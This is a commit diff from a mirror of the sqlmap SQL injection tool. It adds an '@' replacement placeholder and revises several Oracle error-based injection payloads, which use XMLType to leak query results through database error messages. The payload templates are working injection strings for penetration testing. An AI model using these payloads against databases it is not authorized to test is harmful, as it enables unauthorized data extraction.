mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-23 01:56:36 +03:00
revisit of Oracle error-based payloads (added replace for '@' as a problematic char for XMLType function)
This commit is contained in:
parent
8a00ca83af
commit
a89140e1ce
|
@ -213,6 +213,7 @@ class Agent:
|
||||||
payload = payload.replace("[RANDSTR1]", randStr1)
|
payload = payload.replace("[RANDSTR1]", randStr1)
|
||||||
payload = payload.replace("[DELIMITER_START]", kb.misc.start)
|
payload = payload.replace("[DELIMITER_START]", kb.misc.start)
|
||||||
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
|
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
|
||||||
|
payload = payload.replace("[AT_REPLACE]", kb.misc.at)
|
||||||
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
|
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
|
||||||
payload = payload.replace("[DOLLAR_REPLACE]", kb.misc.dollar)
|
payload = payload.replace("[DOLLAR_REPLACE]", kb.misc.dollar)
|
||||||
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
|
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
|
||||||
|
|
|
@ -1463,6 +1463,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
|
||||||
kb.misc.delimiter = randomStr(length=6, lowercase=True)
|
kb.misc.delimiter = randomStr(length=6, lowercase=True)
|
||||||
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
|
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
|
||||||
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
|
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
|
||||||
|
kb.misc.at = ":%s:" % randomStr(length=1, lowercase=True)
|
||||||
kb.misc.space = ":%s:" % randomStr(length=1, lowercase=True)
|
kb.misc.space = ":%s:" % randomStr(length=1, lowercase=True)
|
||||||
kb.misc.dollar = ":%s:" % randomStr(length=1, lowercase=True)
|
kb.misc.dollar = ":%s:" % randomStr(length=1, lowercase=True)
|
||||||
kb.misc.forcedDbms = None
|
kb.misc.forcedDbms = None
|
||||||
|
|
|
@ -185,7 +185,7 @@ def __errorReplaceChars(value):
|
||||||
retVal = value
|
retVal = value
|
||||||
|
|
||||||
if value:
|
if value:
|
||||||
retVal = retVal.replace(kb.misc.space, " ").replace(kb.misc.dollar, "$")
|
retVal = retVal.replace(kb.misc.space, " ").replace(kb.misc.dollar, "$").replace(kb.misc.at, "@")
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
|
|
@ -1117,7 +1117,7 @@ Formats:
|
||||||
<risk>0</risk>
|
<risk>0</risk>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
<vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
<payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
|
@ -1335,9 +1335,9 @@ Formats:
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
<payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
@ -1499,9 +1499,9 @@ Formats:
|
||||||
<risk>0</risk>
|
<risk>0</risk>
|
||||||
<clause>1,3</clause>
|
<clause>1,3</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
<vector>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
<payload>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
@ -1620,9 +1620,9 @@ Formats:
|
||||||
<risk>0</risk>
|
<risk>0</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>,(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
<vector>,(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>,(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
<payload>,(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user